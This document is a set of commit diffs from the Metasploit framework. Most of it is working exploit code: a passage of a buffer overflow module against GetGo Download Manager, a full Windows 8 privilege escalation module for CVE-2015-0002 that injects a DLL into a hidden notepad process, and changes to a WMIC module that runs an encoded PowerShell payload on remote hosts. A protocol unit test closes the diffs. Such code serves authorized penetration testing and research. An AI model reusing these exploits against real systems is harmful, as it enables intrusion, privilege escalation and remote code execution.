'BadChars' => "\x00\x0a\x0d",
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Offset' => 4107,
'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 09 2014',
'DefaultTarget' => 0))
end
#
# Handle the HTTP request and return a response.
# Code borrowed from: msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
stop_service
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
def on_request_uri(cli, request)
print_status("Client connected...")
unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
print_error("Sending 404 for unknown user-agent")
send_not_found(cli)
return
end
sploit = rand_text_alpha(target['Offset'])
sploit << "\x90\x90\xEB\x06"
sploit << [target.ret].pack('V')
sploit << payload.encoded
print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
resp = create_response(200, sploit)
resp.body = ""
cli.send_response(resp)
close_client(cli)
end
end

View File

@ -0,0 +1,155 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.
This module currently only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2015-0002' ],
[ 'OSVEB', '116497' ],
[ 'EDB', '35661' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => 'Sep 30 2014'
}))
end
def temp
@temp ||= get_env('TEMP').to_s
end
def payload_filepath
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
end
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
begin
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
Failure::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def upload_payload
print_status("Payload DLL will be: #{payload_filepath}")
# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
end
end
def inject_exploit(process)
lib_file_path = ::File.join(
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
)
print_status("Creating thread")
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
var_mem = inject_into_process(process, payload_filepath)
process.thread.create(exploit_mem + offset, var_mem)
end
def prep_exploit_host
process = nil
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError
process = client.sys.process.open
rescue ::Exception => e
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
end
process
end
def check
if sysinfo['OS'] =~ /Windows 8/
# Still an 0day, but since this check doesn't actually trigger the vulnerability
# so we should only flag this as CheckCode::Appears
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
if session.platform !~ /^x86\//
print_error("Sorry, this module currently only allows x86/win32 sessions.")
print_error("You will have to get a x86/win32 session first, and then you can")
print_error("select a x64 payload as this exploit's payload.")
return
end
print_status("Uploading the payload DLL")
upload_payload
proc = prep_exploit_host
if !proc
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
end
print_status("Injecting exploit into PID #{proc.pid}")
inject_exploit(proc)
end
end

View File

@ -27,9 +27,8 @@ class Metasploit3 < Msf::Exploit::Local
the session's current authentication token instead of having to know
a password or hash.
We do not get feedback from the WMIC command so there are no
indicators of success or failure. The remote host must be configured
to allow remote Windows Management Instrumentation.
The remote host must be configured to allow remote Windows Management
Instrumentation.
},
'License' => MSF_LICENSE,
'Author' => [
@ -76,42 +75,51 @@ class Metasploit3 < Msf::Exploit::Local
end
def run_host(server)
# Get the PSH Payload and split it into bitesize chunks
# 1024 appears to be the max value allowed in env vars
if load_extapi
psh_options = { :remove_comspec => true,
:encode_final_payload => true }
else
psh_options = { :remove_comspec => true,
:encode_inner_payload => true,
:use_single_quotes => true }
end
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
{
:remove_comspec => true,
:encode_inner_payload => true,
:use_single_quotes => true
})
chunks = split_code(psh, 1000)
psh_options)
begin
print_status("[#{server}] Storing payload in environment variables")
env_name = rand_text_alpha(rand(3)+3)
env_vars = []
0.upto(chunks.length-1) do |i|
env_vars << "#{env_name}#{i}"
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
result = wmic_command(c, server)
if load_extapi
exec_cmd = psh
else
# Get the PSH Payload and split it into bitesize chunks
# 1024 appears to be the max value allowed in env vars
print_status("[#{server}] Storing payload in environment variables")
chunks = split_code(psh, 1000)
env_name = rand_text_alpha(rand(3)+3)
env_vars = []
0.upto(chunks.length-1) do |i|
env_vars << "#{env_name}#{i}"
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
result = wmic_command(c, server)
unless result
print_error("[#{server}] WMIC command error - skipping host")
return false
unless result
print_error("[#{server}] WMIC command error - skipping host")
return false
end
end
end
x = rand_text_alpha(rand(3)+3)
exec_cmd = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => "$#{x}=''"
})
env_vars.each do |env|
exec_cmd << "+$env:#{env}"
x = rand_text_alpha(rand(3)+3)
exec_cmd = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => "$#{x}=''"
})
env_vars.each do |env|
exec_cmd << "+$env:#{env}"
end
exec_cmd << ";IEX $#{x};"
end
exec_cmd << ";IEX $#{x};"
print_status("[#{server}] Executing payload")
result = wmic_command(exec_cmd, server)
@ -126,10 +134,12 @@ class Metasploit3 < Msf::Exploit::Local
print_error("[#{server}] failed...)")
end
print_status("[#{server}] Cleaning up environment variables")
env_vars.each do |env|
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
wmic_command(cleanup_cmd, server)
unless load_extapi
print_status("[#{server}] Cleaning up environment variables")
env_vars.each do |env|
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
wmic_command(cleanup_cmd, server)
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error("[#{server}] Error moving on... #{e}")

View File

@ -0,0 +1,83 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/proto/acpp'
describe Rex::Proto::ACPP::Message do
subject(:message) do
described_class.new
end
# retrieve_public.bin has the contents of a message type 20 (retrieve
# settings) message with a password of public. There is no payload.
let(:retrieve_public_bin) do
IO.read(File.join(File.dirname(__FILE__), 'retrieve_public.bin'))
end
let(:retrieve_public_message) do
message.password = 'public'
message.type = 20
message
end
describe '#==' do
it 'considers two different objects composed of equal parts equal' do
message2 = described_class.new
message2.password = 'public'
message2.type = 20
expect(message2).to eq(retrieve_public_message)
end
it 'considers two different objects composed of different parts unequal' do
message3 = described_class.new
message3.type = 1
message3.password = 'private'
expect(message3).not_to eq(retrieve_public_message)
end
end
describe '#to_s' do
it 'encodes properly' do
expect(retrieve_public_bin).to eq(retrieve_public_message.to_s)
end
end
describe '#decode' do
it 'fails to decode if the message is the wrong size' do
small = Rex::Text.rand_text_alpha(100)
large = Rex::Text.rand_text_alpha(200)
expect { described_class.decode(small) }.to raise_error(/size #{small.size}/i)
expect { described_class.decode(large) }.to raise_error(/size #{large.size}/i)
end
it 'fails to decode if the required header is incorrect' do
retrieve_public_bin[0,4] = 'blah'
expect { described_class.decode(retrieve_public_bin) }.to raise_error(/header/i)
end
it 'decodes properly when the required checksum is correct' do
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin))
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, true))
end
it 'decodes properly when the non-required checksum is correct' do
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false))
end
it 'decodes properly when the message checksum is incorrect' do
retrieve_public_bin[7,4] = "\x01\x02\x03\x04"
expect { described_class.decode(retrieve_public_bin) }.to raise_error(/message checksum/i)
expect { described_class.decode(retrieve_public_bin, true) }.to raise_error(/message checksum/i)
expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false))
end
end
describe '#successful?' do
it 'is successful when 0' do
message = described_class.new
message.status = 0
expect(message.successful?).to be true
end
it 'is successful when !0' do
message = described_class.new
message.status = 1
expect(message.successful?).to be false
end
end
end

Binary file not shown.